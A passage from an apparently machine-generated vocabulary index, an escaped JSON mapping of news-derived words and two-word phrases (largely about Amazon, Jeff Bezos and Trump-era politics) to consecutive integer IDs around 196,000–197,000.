196196,\n  \"moguls love\": 196197,\n  \"bloomberg journalist\": 196198,\n  \"fighting\": 196199,\n  \"amazon moscow\": 196200,\n  \"community respects\": 196201,\n  \"associating\": 196202,\n  \"rejected trump\": 196203,\n  \"preventing workers\": 196204,\n  \"state sierra\": 196205,\n  \"market equalizer\": 196206,\n  \"iii apparel\": 196207,\n  \"amazon natch\": 196208,\n  \"accompany visitors\": 196209,\n  \"cnn videourl\": 196210,\n  \"colarossi\": 196211,\n  \"office amid\": 196212,\n  \"dawn davies\": 196213,\n  \"v7a k4a\": 196214,\n  \"sharp shifts\": 196215,\n  \"campaign disbursements\": 196216,\n  \"bad guy\": 196217,\n  \"mi holds\": 196218,\n  \"costs airborne\": 196219,\n  \"initially dropped\": 196220,\n  \"american couple\": 196221,\n  \"buy lot\": 196222,\n  \"sea\": 196223,\n  \"required principal\": 196224,\n  \"masthead line\": 196225,\n  \"alli\": 196226,\n  \"metropolitan transportation\": 196227,\n  \"dame says\": 196228,\n  \"500 enlistees\": 196229,\n  \"estate investor\": 196230,\n  \"leader kim\": 196231,\n  \"warning inventory\": 196232,\n  \"amazon team\": 196233,\n  \"carell took\": 196234,\n  \"economic program\": 196235,\n  \"sommerfeld\": 196236,\n  \"indian restaurant\": 196237,\n  \"judd apatow\": 196238,\n  \"cornell study\": 196239,\n  \"list included\": 196240,\n  \"round according\": 196241,\n  \"numbered\": 196242,\n  \"bochy final\": 196243,\n  \"democrats nominated\": 196244,\n  \"analyst matthew\": 196245,\n  \"workplace culture\": 196246,\n  \"halifax bride\": 196247,\n  \"weir associate\": 196248,\n  \"abstract taxation\": 196249,\n  \"wilson president\": 196250,\n  \"provides facial\": 196251,\n  \"nonstick upgrade\": 196252,\n  \"fedex expects\": 196253,\n  \"robocalls especially\": 196254,\n  \"follow similar\": 196255,\n  \"gonzalez senior\": 196256,\n  \"computing resources\": 196257,\n  \"navigating\": 196258,\n  \"consider swapping\": 196259,\n  \"win reed\": 196260,\n  \"contrast day\": 196261,\n  \"marsden says\": 196262,\n  \"2018\": 196263,\n  \"brent leary\": 196264,\n  \"flags\": 196265,\n  \"borders long\": 196266,\n  \"hardship\": 196267,\n  \"activity stream\": 196268,\n  \"e5e r4ee\": 196269,\n  \"president finds\": 196270,\n  \"initmeta fail\": 196271,\n  \"sypha\": 196272,\n  \"microvms\": 196273,\n  \"furious ms\": 196274,\n  \"america sector\": 196275,\n  \"hoped bezos\": 196276,\n  \"prior leases\": 196277,\n  \"vanderhoof associate\": 196278,\n  \"israeli undercover\": 196279,\n  \"impossible fallout\": 196280,\n  \"scenes tour\": 196281,\n  \"amazon moving\": 196282,\n  \"users advances\": 196283,\n  \"present rent\": 196284,\n  \"companies misuse\": 196285,\n  \"customer focused\": 196286,\n  \"truly manipulate\": 196287,\n  \"compelling crime\": 196288,\n  \"pumping\": 196289,\n  \"228504 images\": 196290,\n  \"post functions\": 196291,\n  \"devious terrorist\": 196292,\n  \"items just\": 196293,\n  \"dallasnews\": 196294,\n  \"theory emerged\": 196295,\n  \"secretary visit\": 196296,\n  \"advisors market\": 196297,\n  \"announced year\": 196298,\n  \"investor day\": 196299,\n  \"letters addressed\": 196300,\n  \"namesake later\": 196301,\n  \"race race\": 196302,\n  \"marketwatch 415\": 196303,\n  \"react avoiding\": 196304,\n  \"lawyers chapter\": 196305,\n  \"tariffs china\": 196306,\n  \"crucial component\": 196307,\n  \"black slaves\": 196308,\n  \"mccarthyism\": 196309,\n  \"stocks lead\": 196310,\n  \"merely sent\": 196311,\n  \"discount department\": 196312,\n  \"soiree\": 196313,\n  \"z8 l2\": 196314,\n  \"skies\": 196315,\n  \"ofthe united\": 196316,\n  \"today facebook\": 196317,\n  \"warns pakistan\": 196318,\n  \"investor demand\": 196319,\n  \"habits precious\": 196320,\n  \"158\": 196321,\n  \"content follow\": 196322,\n  \"kappafrik management\": 196323,\n  \"wedding princess\": 196324,\n  \"praising\": 196325,\n  \"wrote paul\": 196326,\n  \"112bn making\": 196327,\n  \"handle sales\": 196328,\n  \"identification leave\": 196329,\n  \"swift told\": 196330,\n  \"perennial\": 196331,\n  \"johnson left\": 196332,\n  \"reduce human\": 196333,\n  \"faang report\": 196334,\n  \"public health\": 196335,\n  \"media donald\": 196336,\n  \"overreacts\": 196337,\n  \"2018 manigault\": 196338,\n  \"tom mccarthy\": 196339,\n  \"siphoned\": 196340,\n  \"care companies\": 196341,\n  \"matthew weiner\": 196342,\n  \"150bn reuters\": 196343,\n  \"business travel\": 196344,\n  \"smith president\": 196345,\n  \"readers sound\": 196346,\n  \"mail perpetrators\": 196347,\n  \"river upstream\": 196348,\n  \"book review\": 196349,\n  \"resolution according\": 196350,\n  \"p0 f4\": 196351,\n  \"zuckerberg google\": 196352,\n  \"acquiring superpowers\": 196353,\n  \"people according\": 196354,\n  \"constitutional principles\": 196355,\n  \"journalism revenues\": 196356,\n  \"singles music\": 196357,\n  \"everett\": 196358,\n  \"nbc abc\": 196359,\n  \"slapped special\": 196360,\n  \"tesla appears\": 196361,\n  \"amobiinc\": 196362,\n  \"ban case\": 196363,\n  \"exactly share\": 196364,\n  \"older generation\": 196365,\n  \"doesn want\": 196366,\n  \"salt airs\": 196367,\n  \"jared\": 196368,\n  \"journal sanchez\": 196369,\n  \"wonder especially\": 196370,\n  \"optimizing outcomes\": 196371,\n  \"including son\": 196372,\n  \"filmmaker woody\": 196373,\n  \"cargo pioneer\": 196374,\n  \"area isn\": 196375,\n  \"thecounter\": 196376,\n  \"misses peek\": 196377,\n  \"mapping\": 196378,\n  \"usps proposed\": 196379,\n  \"amazon effect\": 196380,\n  \"tracking users\": 196381,\n  \"hispanic west\": 196382,\n  \"taxpayers lose\": 196383,\n  \"heartache\": 196384,\n  \"home computer\": 196385,\n  \"drop suggests\": 196386,\n  \"travel requests\": 196387,\n  \"crime podcast\": 196388,\n  \"members demonstrating\": 196389,\n  \"aggressive conglomerate\": 196390,\n  \"bottoms\": 196391,\n  \"curiously trump\": 196392,\n  \"tropicana cranberry\": 196393,\n  \"fought years\": 196394,\n  \"expert regressive\": 196395,\n  \"kennedy approaches\": 196396,\n  \"bowes\": 196397,\n  \"lecher\": 196398,\n  \"candid don\": 196399,\n  \"supporting defense\": 196400,\n  \"nea\": 196401,\n  \"vacuum insulated\": 196402,\n  \"business mogul\": 196403,\n  \"internet extension\": 196404,\n  \"case actually\": 196405,\n  \"wrote ellison\": 196406,\n  \"fictional adventures\": 196407,\n  \"topfilelocation\": 196408,\n  \"president ability\": 196409,\n  \"spencer dinwiddie\": 196410,\n  \"goodlatte claim\": 196411,\n  \"keeps sliding\": 196412,\n  \"welcome ken\": 196413,\n  \"acclaimed sci\": 196414,\n  \"make facebook\": 196415,\n  \"interim tax\": 196416,\n  \"buy kitchen\": 196417,\n  \"menu\": 196418,\n  \"suggested bezos\": 196419,\n  \"parra\": 196420,\n  \"weisberger check\": 196421,\n  \"peer payments\": 196422,\n  \"collect goods\": 196423,\n  \"sold 21m\": 196424,\n  \"a4ee v8\": 196425,\n  \"a4ee x1\": 196426,\n  \"online instead\": 196427,\n  \"yewande finds\": 196428,\n  \"safe workplace\": 196429,\n  \"just moving\": 196430,\n  \"partenheimer\": 196431,\n  \"builds price\": 196432,\n  \"cnr somewhat\": 196433,\n  \"financially according\": 196434,\n  \"huddled\": 196435,\n  \"jessica harper\": 196436,\n  \"eddie\": 196437,\n  \"york tax\": 196438,\n  \"senators including\": 196439,\n  \"helps customers\": 196440,\n  \"amazon asking\": 196441,\n  \"coded flash\": 196442,\n  \"source drew\": 196443,\n  \"decide soon\": 196444,\n  \"subtle art\": 196445,\n  \"children away\": 196446,\n  \"deliver high\": 196447,\n  \"deal fbi\": 196448,\n  \"checklist\": 196449,\n  \"girl reads\": 196450,\n  \"nalc totally\": 196451,\n  \"makes healthy\": 196452,\n  \"rolnik joe\": 196453,\n  \"murder takes\": 196454,\n  \"new regulations\": 196455,\n  \"receive medical\": 196456,\n  \"dropped plans\": 196457,\n  \"goose liver\": 196458,\n  \"prize nominated\": 196459,\n  \"pie naps\": 196460,\n  \"billion price\": 196461,\n  \"tango diamond\": 196462,\n  \"really jumped\": 196463,\n  \"online searches\": 196464,\n  \"xi\": 196465,\n  \"peers facebook\": 196466,\n  \"unions say\": 196467,\n  \"designation\": 196468,\n  \"peace talks\": 196469,\n  \"year 2017\": 196470,\n  \"customer doors\": 196471,\n  \"spurs\": 196472,\n  \"spongebob\": 196473,\n  \"add guests\": 196474,\n  \"conservative organization\": 196475,\n  \"folks spoke\": 196476,\n  \"richard\": 196477,\n  \"999999\": 196478,\n  \"dumbest\": 196479,\n  \"grand opening\": 196480,\n  \"public report\": 196481,\n  \"hr director\": 196482,\n  \"sisk\": 196483,\n  \"topics t000002771\": 196484,\n  \"repeatedly borrow\": 196485,\n  \"tax penalties\": 196486,\n  \"increased nearly\": 196487,\n  \"entry won\": 196488,\n  \"melody played\": 196489,\n  \"attribution emphasized\": 196490,\n  \"funky mystique\": 196491,\n  \"discussion forums\": 196492,\n  \"premiums\": 196493,\n  \"guide\": 196494,\n  \"hand sessions\": 196495,\n  \"than\\u0430his\": 196496,\n  \"dpa afp\": 196497,\n  \"established law\": 196498,\n  \"various topics\": 196499,\n  \"dc neighborhood\": 196500,\n  \"gained ownership\": 196501,\n  \"action alert\": 196502,\n  \"presidential primary\": 196503,\n  \"committee gianaris\": 196504,\n  \"scientists modify\": 196505,\n  \"949 billion\": 196506,\n  \"fintech apps\": 196507,\n  \"nahmias nick\": 196508,\n  \"happiness\": 196509,\n  \"mcdougal donald\": 196510,\n  \"tegna\": 196511,\n  \"especially jeff\": 196512,\n  \"kirchner\": 196513,\n  \"parachute packagejoin\": 196514,\n  \"writer letters\": 196515,\n  \"affairs veterans\": 196516,\n  \"guggenheim minerd\": 196517,\n  \"ina garten\": 196518,\n  \"photo recognition\": 196519,\n  \"elienyc\": 196520,\n  \"numbers george\": 196521,\n  \"bezos leak\": 196522,\n  \"kevin kline\": 196523,\n  \"intuition leading\": 196524,\n  \"panicking\": 196525,\n  \"goofy sketch\": 196526,\n  \"passy 415\": 196527,\n  \"present barriers\": 196528,\n  \"computing eggs\": 196529,\n  \"site biggest\": 196530,\n  \"military documents\": 196531,\n  \"sound ratcheting\": 196532,\n  \"things noticed\": 196533,\n  \"ongoing crusade\": 196534,\n  \"mob descriptionplaintext\": 196535,\n  \"trendier clothes\": 196536,\n  \"alleghany corp\": 196537,\n  \"ailing metro\": 196538,\n  \"aligned business\": 196539,\n  \"justifications reasonably\": 196540,\n  \"billion illinois\": 196541,\n  \"futures pipe\": 196542,\n  \"themedia democrat\": 196543,\n  \"news ben\": 196544,\n  \"deep pocketed\": 196545,\n  \"overnight funny\": 196546,\n  \"raise rates\": 196547,\n  \"article yield\": 196548,\n  \"trump resulting\": 196549,\n  \"bought local\": 196550,\n  \"rich private\": 196551,\n  \"spavor unlike\": 196552,\n  \"promised problems\": 196553,\n  \"news 2018\": 196554,\n  \"including vice\": 196555,\n  \"luke\": 196556,\n  \"presidential figurine\": 196557,\n  \"chevrolets\": 196558,\n  \"refereeing complicates\": 196559,\n  \"thesubsidies\": 196560,\n  \"managing employees\": 196561,\n  \"carell bezos\": 196562,\n  \"endorsed warren\": 196563,\n  \"respond especially\": 196564,\n  \"schmid\": 196565,\n  \"ireland foreign\": 196566,\n  \"marty kiar\": 196567,\n  \"giant amazon\": 196568,\n  \"salaries\": 196569,\n  \"jobs felt\": 196570,\n  \"money case\": 196571,\n  \"trump backed\": 196572,\n  \"story parkland\": 196573,\n  \"clark charlotte\": 196574,\n  \"nightmarish culture\": 196575,\n  \"california reinvestment\": 196576,\n  \"season rush\": 196577,\n  \"ruling does\": 196578,\n  \"legion\": 196579,\n  \"act instructing\": 196580,\n  \"wildly different\": 196581,\n  \"trained\": 196582,\n  \"roelof van\": 196583,\n  \"concealing\": 196584,\n  \"fancy tech\": 196585,\n  \"sins avoiding\": 196586,\n  \"nuzzi\": 196587,\n  \"inside knowledge\": 196588,\n  \"pharmaceuticals factors\": 196589,\n  \"studios strideline\": 196590,\n  \"good flashlight\": 196591,\n  \"magazine threatened\": 196592,\n  \"jinping zuckerberg\": 196593,\n  \"profit customer\": 196594,\n  \"times column\": 196595,\n  \"credit mark\": 196596,\n  \"customer rating\": 196597,\n  \"affecting major\": 196598,\n  \"disgraced fbi\": 196599,\n  \"busing strife\": 196600,\n  \"originally thought\": 196601,\n  \"officials hostile\": 196602,\n  \"duffel toiletry\": 196603,\n  \"accessing\": 196604,\n  \"pillar\": 196605,\n  \"street make\": 196606,\n  \"far bezos\": 196607,\n  \"consistent target\": 196608,\n  \"agencies appropriations\": 196609,\n  \"w6 protocol\": 196610,\n  \"joint hearing\": 196611,\n  \"constraints required\": 196612,\n  \"personal kindle\": 196613,\n  \"grade learning\": 196614,\n  \"specfics\": 196615,\n  \"impact amazon\": 196616,\n  \"truck pulled\": 196617,\n  \"publicly alleging\": 196618,\n  \"great government\": 196619,\n  \"leo\": 196620,\n  \"contrast deal\": 196621,\n  \"videocardcontents headlineplaintext\": 196622,\n  \"bizarre claims\": 196623,\n  \"census tract\": 196624,\n  \"castle look\": 196625,\n  \"office praised\": 196626,\n  \"sidebar\": 196627,\n  \"identified curious\": 196628,\n  \"pigment\": 196629,\n  \"ecommerce cloud\": 196630,\n  \"proposed ultramillionaires\": 196631,\n  \"official version\": 196632,\n  \"customer currently\": 196633,\n  \"server motherboards\": 196634,\n  \"media amazon\": 196635,\n  \"jemmons\": 196636,\n  \"white privilege\": 196637,\n  \"grumpy nasdaq\": 196638,\n  \"mentors offer\": 196639,\n  \"past emily\": 196640,\n  \"ecommerce space\": 196641,\n  \"primary trump\": 196642,\n  \"management capitalism\": 196643,\n  \"frequently force\": 196644,\n  \"relationship expect\": 196645,\n  \"reports hold\": 196646,\n  \"1926 moved\": 196647,\n  \"minister benjamin\": 196648,\n  \"microsoft paved\": 196649,\n  \"services unit\": 196650,\n  \"hastens\": 196651,\n  \"encompasses variety\": 196652,\n  \"590 shares\": 196653,\n  \"foreclosure horror\": 196654,\n  \"rainforest\": 196655,\n  \"1740s using\": 196656,\n  \"equity original\": 196657,\n  \"treasonous\": 196658,\n  \"tom tingle\": 196659,\n  \"stumbles remember\": 196660,\n  \"spent talking\": 196661,\n  \"singular voice\": 196662,\n  \"washingtonpost loses\": 196663,\n  \"cid sm_npd_nn_tw_np\": 196664,\n  \"confession tape\": 196665,\n  \"possible referral\": 196666,\n  \"amid stiff\": 196667,\n  \"asking tough\": 196668,\n  \"touched\": 196669,\n  \"trump escalated\": 196670,\n  \"gains\": 196671,\n  \"families fund\": 196672,\n  \"executive suite\": 196673,\n  \"especially concerned\": 196674,\n  \"earnings ahead\": 196675,\n  \"williams divorce\": 196676,\n  \"receive bonuses\": 196677,\n  \"ago corporations\": 196678,\n  \"produce great\": 196679,\n  \"family executive\": 196680,\n  \"chris edwards\": 196681,\n  \"key americanallies\": 196682,\n  \"rashomon ponti\": 196683,\n  \"rallies winds\": 196684,\n  \"regular critic\": 196685,\n  \"frame width\": 196686,\n  \"kiese laymon\": 196687,\n  \"year marriage\": 196688,\n  \"long positive\": 196689,\n  \"governments nationwide\": 196690,\n  \"44th\": 196691,\n  \"wadhwa tech\": 196692,\n  \"wage costs\": 196693,\n  \"news amazonnews\": 196694,\n  \"temple kol\": 196695,\n  \"fusion voting\": 196696,\n  \"battle wish\": 196697,\n  \"tweeted jeff\": 196698,\n  \"giant cloud\": 196699,\n  \"targettype timestampdisplay\": 196700,\n  \"allegations intended\": 196701,\n  \"bupkiss\": 196702,\n  \"taste craig\": 196703,\n  \"93m value\": 196704,\n  \"automatically eliminating\": 196705,\n  \"171034414\": 196706,\n  \"gives propaganda\": 196707,\n  \"new set\": 196708,\n  \"ban finalized\": 196709,\n  \"false a1\": 196710,\n  \"rates ticked\": 196711,\n  \"dispassionate\": 196712,\n  \"internet instant\": 196713,\n  \"lower open\": 196714,\n  \"amazon little\": 196715,\n  \"mozzarella wrapped\": 196716,\n  \"doorbell wiring\": 196717,\n  \"goods representing\": 196718,\n  \"trump predicted\": 196719,\n  \"creep higher\": 196720,\n  \"income residents\": 196721,\n  \"sympathetic response\": 196722,\n  \"amazons monopoly\": 196723,\n  \"represents days\": 196724,\n  \"newsworthy questions\": 196725,\n  \"182 hotels\": 196726,\n  \"nixes\": 196727,\n  \"personal vision\": 196728,\n  \"temporarily confined\": 196729,\n  \"man mysterious\": 196730,\n  \"experimental hybrid\": 196731,\n  \"gwl\": 196732,\n  \"300x200 getty_1126502092_387831\": 196733,\n  \"complex divorces\": 196734,\n  \"finance numbers\": 196735,\n  \"wood attempted\": 196736,\n  \"self preservation\": 196737,\n  \"bowie binge\": 196738,\n  \"bezos founded\": 196739,\n  \"ivy\": 196740,\n  \"ur\": 196741,\n  \"massive income\": 196742,\n  \"expand operations\": 196743,\n  \"number directly\": 196744,\n  \"scruff\": 196745,\n  \"maybe trump\": 196746,\n  \"senior government\": 196747,\n  \"installed conservative\": 196748,\n  \"compressed president\": 196749,\n  \"compressed version\": 196750,\n  \"wasnot\": 196751,\n  \"keyless\": 196752,\n  \"dishonest groups\": 196753,\n  \"dragging limp\": 196754,\n  \"2016 vanity\": 196755,\n  \"kristin chenoweth\": 196756,\n  \"toothpaste\": 196757,\n  \"billion 124\": 196758,\n  \"lamb draw\": 196759,\n  \"raging spirit\": 196760,\n  \"shopper buying\": 196761,\n  \"comment easy\": 196762,\n  \"strike scam\": 196763,\n  \"spoke critically\": 196764,\n  \"peternell william\": 196765,\n  \"conference called\": 196766,\n  \"uneasy\": 196767,\n  \"appointee amazon\": 196768,\n  \"lobbyist following\": 196769,\n  \"brexit looking\": 196770,\n  \"absolute bar\": 196771,\n  \"837 rise\": 196772,\n  \"don forget\": 196773,\n  \"senior career\": 196774,\n  \"johnson senior\": 196775,\n  \"committed extortion\": 196776,\n  \"started petition\": 196777,\n  \"5bn amazon\": 196778,\n  \"carmen melillo\": 196779,\n  \"scott rogowsky\": 196780,\n  \"movie database\": 196781,\n  \"sex spies\": 196782,\n  \"company operated\": 196783,\n  \"obscure energy\": 196784,\n  \"radio interviews\": 196785,\n  \"pisani nightly\": 196786,\n  \"large corporations\": 196787,\n  \"enquirer failed\": 196788,\n  \"dangerous territory\": 196789,\n  \"trump ally\": 196790,\n  \"repugnant\": 196791,\n  \"hierarchies\": 196792,\n  \"seen marvel\": 196793,\n  \"unwrapped box\": 196794,\n  \"r4ee t5q\": 196795,\n  \"invest mngmt\": 196796,\n  \"espionage charges\": 196797,\n  \"employees including\": 196798,\n  \"harassment retaliation\": 196799,\n  \"tv best\": 196800,\n  \"literature random\": 196801,\n  \"congressional passage\": 196802,\n  \"talkpoverty\": 196803,\n  \"baxter\": 196804,\n  \"broad issues\": 196805,\n  \"appreciable content\": 196806,\n  \"innovative champions\": 196807,\n  \"nationals washington\": 196808,\n  \"market think\": 196809,\n  \"adventure cookbook\": 196810,\n  \"funding local\": 196811,\n  \"ami promised\": 196812,\n  \"ducey ends\": 196813,\n  \"examiner office\": 196814,\n  \"600x400\": 196815,\n  \"shows big\": 196816,\n  \"221 comments\": 196817,\n  \"sporadic\": 196818,\n  \"old mailbox\": 196819,\n  \"daily reached\": 196820,\n  \"abating presumably\": 196821,\n  \"big play\": 196822,\n  \"spectator\": 196823,\n  \"deutsch don\": 196824,\n  \"yelp told\": 196825,\n  \"amazon thrilled\": 196826,\n  \"determining factor\": 196827,\n  \"543 bought\": 196828,\n  \"businesses allegations\": 196829,\n  \"picketing\": 196830,\n  \"game right\": 196831,\n  \"fortune totaling\": 196832,\n  \"hq2 search\": 196833,\n  \"previously suggested\": 196834,\n  \"trump troll\": 196835,\n  \"campaign manager\": 196836,\n  \"election fight\": 196837,\n  \"extremely paid\": 196838,\n  \"based recommendation\": 196839,\n  \"owner jeff\": 196840,\n  \"loses money\": 196841,\n  \"brazil vulnerable\": 196842,\n  \"joint letter\": 196843,\n  \"long amazon\": 196844,\n  \"680\": 196845,\n  \"trump suggest\": 196846,\n  \"money state\": 196847,\n  \"tech power\": 196848,\n  \"000 donated\": 196849,\n  \"paris refresher\": 196850,\n  \"israel chuck\": 196851,\n  \"demanding million\": 196852,\n  \"saint certainly\": 196853,\n  \"hard liner\": 196854,\n  \"financial woes\": 196855,\n  \"overvalued based\": 196856,\n  \"colder\": 196857,\n  \"content watch\": 196858,\n  \"communist party\": 196859,\n  \"bolsonaro trump\": 196860,\n  \"potential maneuvers\": 196861,\n  \"washington media\": 196862,\n  \"troops making\": 196863,\n  \"assistant named\": 196864,\n  \"shitty situation\": 196865,\n  \"rankles\": 196866,\n  \"adults school\": 196867,\n  \"ceiling\": 196868,\n  \"quickly drew\": 196869,\n  \"wmt revenues\": 196870,\n  \"jacob lew\": 196871,\n  \"adil\": 196872,\n  \"getting pushback\": 196873,\n  \"orwhatever\": 196874,\n  \"final comments\": 196875,\n  \"broke\": 196876,\n  \"suppliers\": 196877,\n  \"currentvideocollection autostart\": 196878,\n  \"russian national\": 196879,\n  \"csr includes\": 196880,\n  \"conglomerate run\": 196881,\n  \"650 million\": 196882,\n  \"right najarian\": 196883,\n  \"google earned\": 196884,\n  \"pret store\": 196885,\n  \"held hearing\": 196886,\n  \"brit george\": 196887,\n  \"alphabet\": 196888,\n  \"motorbike scenes\": 196889,\n  \"making single\": 196890,\n  \"article38253336\": 196891,\n  \"just deer\": 196892,\n  \"struck near\": 196893,\n  \"financial contributions\": 196894,\n  \"services note\": 196895,\n  \"finally know\": 196896,\n  \"buddy\": 196897,\n  \"manor\": 196898,\n  \"trading moving\": 196899,\n  \"injured wildlife\": 196900,\n  \"target people\": 196901,\n  \"second headquarter\": 196902,\n  \"don agree\": 196903,\n  \"assigned\": 196904,\n  \"hyped hq2\": 196905,\n  \"budget talks\": 196906,\n  \"class colleges\": 196907,\n  \"president adversary\": 196908,\n  \"55th\": 196909,\n  \"burlington attorney\": 196910,\n  \"reportedly supporter\": 196911,\n  \"retrains close\": 196912,\n  \"rollout\": 196913,\n  \"surpass\": 196914,\n  \"turnaround chinese\": 196915,\n  \"new impeachable\": 196916,\n  \"crew\": 196917,\n  \"deaths california\": 196918,\n  \"obtain\": 196919,\n  \"prout\": 196920,\n  \"shot heard\": 196921,\n  \"persons events\": 196922,\n  \"desired consumption\": 196923,\n  \"policy reported\": 196924,\n  \"hockey arena\": 196925,\n  \"recent post\": 196926,\n  \"illegal votes\": 196927,\n  \"starts\": 196928,\n  \"lebron\": 196929,\n  \"iheartradio\": 196930,\n  \"shunning\": 196931,\n  \"resettle\": 196932,\n  \"popular television\": 196933,\n  \"carrying banners\": 196934,\n  \"despite swelling\": 196935,\n  \"service fed\": 196936,\n  \"postal task\": 196937,\n  \"cargo customer\": 196938,\n  \"shadowbanning\": 196939,\n  \"including grab\": 196940,\n  \"change compared\": 196941,\n  \"epoch times\": 196942,\n  \"denigration\": 196943,\n  \"sold collective\": 196944,\n  \"assigning attributable\": 196945,\n  \"washington arguing\": 196946,\n  \"burden consider\": 196947,\n  \"political lobbying\": 196948,\n  \"scab\": 196949,\n  \"people stealing\": 196950,\n  \"nepotism\": 196951,\n  \"navy aviator\": 196952,\n  \"range year\": 196953,\n  \"nbc charlotte\": 196954,\n  \"l4 l4\": 196955,\n  \"exaggerated amazon\": 196956,\n  \"eld rules\": 196957,\n  \"expect plenty\": 196958,\n  \"unloading shelves\": 196959,\n  \"2020 contender\": 196960,\n  \"haverty larry\": 196961,\n  \"barbeque\": 196962,\n  \"better terminals\": 196963,\n  \"targets wall\": 196964,\n  \"keyless entry\": 196965,\n  \"educational institutions\": 196966,\n  \"ended mandate\": 196967,\n  \"political campaigns\": 196968,\n  \"rep david\": 196969,\n  \"socially awkward\": 196970,\n  \"trump taunted\": 196971,\n  \"writing politico\": 196972,\n  \"comments touch\": 196973,\n  \"including temporary\": 196974,\n  \"venezuelan\": 196975,\n  \"win congress\": 196976,\n  \"hamm mad\": 196977,\n  \"nike fell\": 196978,\n  \"sectionuri\": 196979,\n  \"postal workers\": 196980,\n  \"attend classes\": 196981,\n  \"anybody notice\": 196982,\n  \"bi graphics\": 196983,\n  \"audible rebuke\": 196984,\n  \"good luck\": 196985,\n  \"award probably\": 196986,\n  \"practicing\": 196987,\n  \"cause violence\": 196988,\n  \"school citing\": 196989,\n  \"tap deep\": 196990,\n  \"gawande influence\": 196991,\n  \"father real\": 196992,\n  \"philip purcell\": 196993,\n  \"ohio hillbilly\": 196994,\n  \"banking food\": 196995,\n  \"state government\": 196996,\n  \"regulator floats\": 196997,\n  \"sellers cheapskates\": 196998,\n  \"b0 function\": 196999,\n  \"revoked cnn\": 197000,\n  \"surges\": 197001,\n  \"nc\": 197002,\n  \"leaders enthusiastically\": 197003,\n  \"city chief\": 197004,\n  \"pecker expressed\": 197005,\n  \"prove trump\": 197006,\n  \"actual post\": 197007,\n  \"hold bad\": 197008,\n  \"announcing results\": 197009,\n  \"fargo ap\": 197010,\n  \"advertising team\": 197011,\n  \"hadn threatened\": 197012,\n  \"play rigged\": 197013,\n  \"clearly believes\": 197014,\n  \"accused google\": 197015,\n  \"dating initiative\": 197016,\n  \"second challenge\": 197017,\n  \"financial regulation\": 197018,\n  \"lynnette khalfani\": 197019,\n  \"nicholas young\": 197020,\n  \"r4ee p6\": 197021,\n  \"feed\": 197022,\n  \"airing innuendo\": 197023,\n  \"year run\": 197024,\n  \"shaw\": 197025,\n  \"isn bad\": 197026,\n  \"essential reading\": 197027,\n  \"puts taxpayers\": 197028,\n  \"promote\": 197029,\n  \"city hoenig\": 197030,\n  \"jovial\": 197031,\n  \"inequities\": 197032,\n  \"waning global\": 197033,\n  \"stats\": 197034,\n  \"help prevent\": 197035,\n  \"yuma\": 197036,\n  \"costly promotion\": 197037,\n  \"ultimately allows\": 197038,\n  \"copy cat\": 197039,\n  \"began grumbling\": 197040,\n  \"jobs labor\": 197041,\n  \"aws secret\": 197042,\n  \"maloney\": 197043,\n  \"anne sjostrom\": 197044,\n  \"eisenbach stop\": 197045,\n  \"taxes roughly\": 197046,\n  \"increased development\": 197047,\n  \"institute research\": 197048,\n  \"fake brands\": 197049,\n  \"chye\": 197050,\n  \"really cool\": 197051,\n  \"rtd holds\": 197052,\n  \"understand exactly\": 197053,\n  \"war centenary\": 197054,\n  \"welcome reopening\": 197055,\n  \"losses hillicon\": 197056,\n  \"process process\": 197057,\n  \"richard levy\": 197058,\n  \"catholic priests\": 197059,\n  \"similar ideas\": 197060,\n  \"making lousy\": 197061,\n  \"tremendous cost\": 197062,\n  \"cantor\": 197063,\n  \"bezos purchased\": 197064,\n  \"cooper writing\": 197065,\n  \"trump sources\": 197066,\n  \"deny unlike\": 197067,\n  \"gayle\": 197068,\n  \"shows popstar\": 197069,\n  \"rush apostle\": 197070,\n  \"judiciary panel\": 197071,\n  \"unconstitutionally usurp\": 197072,\n  \"cross purposes\": 197073,\n  \"forte suggests\": 197074,\n  \"company called\": 197075,\n  \"uncharacteristically lead\": 197076,\n  \"tweets late\": 197077,\n  \"unwanted option\": 197078,\n  \"nelson\": 197079,\n  \"strict guidelines\": 197080,\n  \"destroying local\": 197081,\n  \"american soil\": 197082,\n  \"flying high\": 197083,\n  \"episode mocked\": 197084,\n  \"teacher\": 197085,\n  \"dresden\": 197086,\n  \"gun democrats\": 197087,\n  \"saidthat\": 197088,\n  \"defended rekognition\": 197089,\n  \"meta_description\": 197090,\n  \"tells kim\": 197091,\n  \"ruin nations\": 197092,\n  \"technology industry\": 197093,\n  \"moved forward\": 197094,\n  \"current labor\": 197095,\n  \"scans pictures\": 197096,\n  \"king\": 197097,\n  \"cause prices\": 197098,\n  \"california colleague\": 197099,\n  \"switch platforms\": 197100,\n  \"right continuing\": 197101,\n  \"youll\": 197102,\n  \"rally looked\": 197103,\n  \"unfruitful settlement\": 197104,\n  \"emoluments\": 197105,\n  \"bombs eminently\": 197106,\n  \"math drills\": 197107,\n  \"mitt\": 197108,\n  \"properties hypocrisy\": 197109,\n  \"16pm\": 197110,\n  \"amazons entire\": 197111,\n  \"watching videos\": 197112,\n  \"trump action\": 197113,\n  \"mark lapidus\": 197114,\n  \"srk\": 197115,\n  \"amazon claims\": 197116,\n  \"gerrymandering makes\": 197117,\n  \"economy trumps\": 197118,\n  \"tendency\": 197119,\n  \"warren warned\": 197120,\n  \"robert strong\": 197121,\n  \"dominating commerce\": 197122,\n  \"trump hits\": 197123,\n  \"temporary embarrassment\": 197124,\n  \"green space\": 197125,\n  \"winding refn\": 197126,\n  \"feud inevitably\": 197127,\n  \"enemy saudi\": 197128,\n  \"tommy\": 197129,\n  \"restricting\": 197130,\n  \"fort collins\": 197131,\n  \"sanchez posted\": 197132,\n  \"settlers\": 197133,\n  \"governor maryland\": 197134,\n  \"senate republicans\": 197135,\n  \"fa ba\": 197136,\n  \"dominance local\": 197137,\n  \"pitting wwe\": 197138,\n  \"cities vying\": 197139,\n  \"2019 law\": 197140,\n  \"turkish central\": 197141,\n  \"doing people\": 197142,\n  \"conditions high\": 197143,\n  \"analytic services\": 197144,\n  \"australian\": 197145,\n  \"rapidly changing\": 197146,\n  \"know pushed\": 197147,\n  \"killers\": 197148,\n  \"mary sue\": 197149,\n  \"closed\": 197150,\n  \"dream life\": 197151,\n  \"contradicting\": 197152,\n  \"traditional communities\": 197153,\n  \"warning\": 197154,\n  \"quality controls\": 197155,\n  \"correspondent writes\": 197156,\n  \"work defending\": 197157,\n  \"shepardson additional\": 197158,\n  \"southfield mich\": 197159,\n  \"national doral\": 197160,\n  \"small time\": 197161,\n  \"amazon tout\": 197162,\n  \"eavesdropping posted\": 197163,\n  \"slavish\": 197164,\n  \"jurisdictions corporations\": 197165,\n  \"amistad 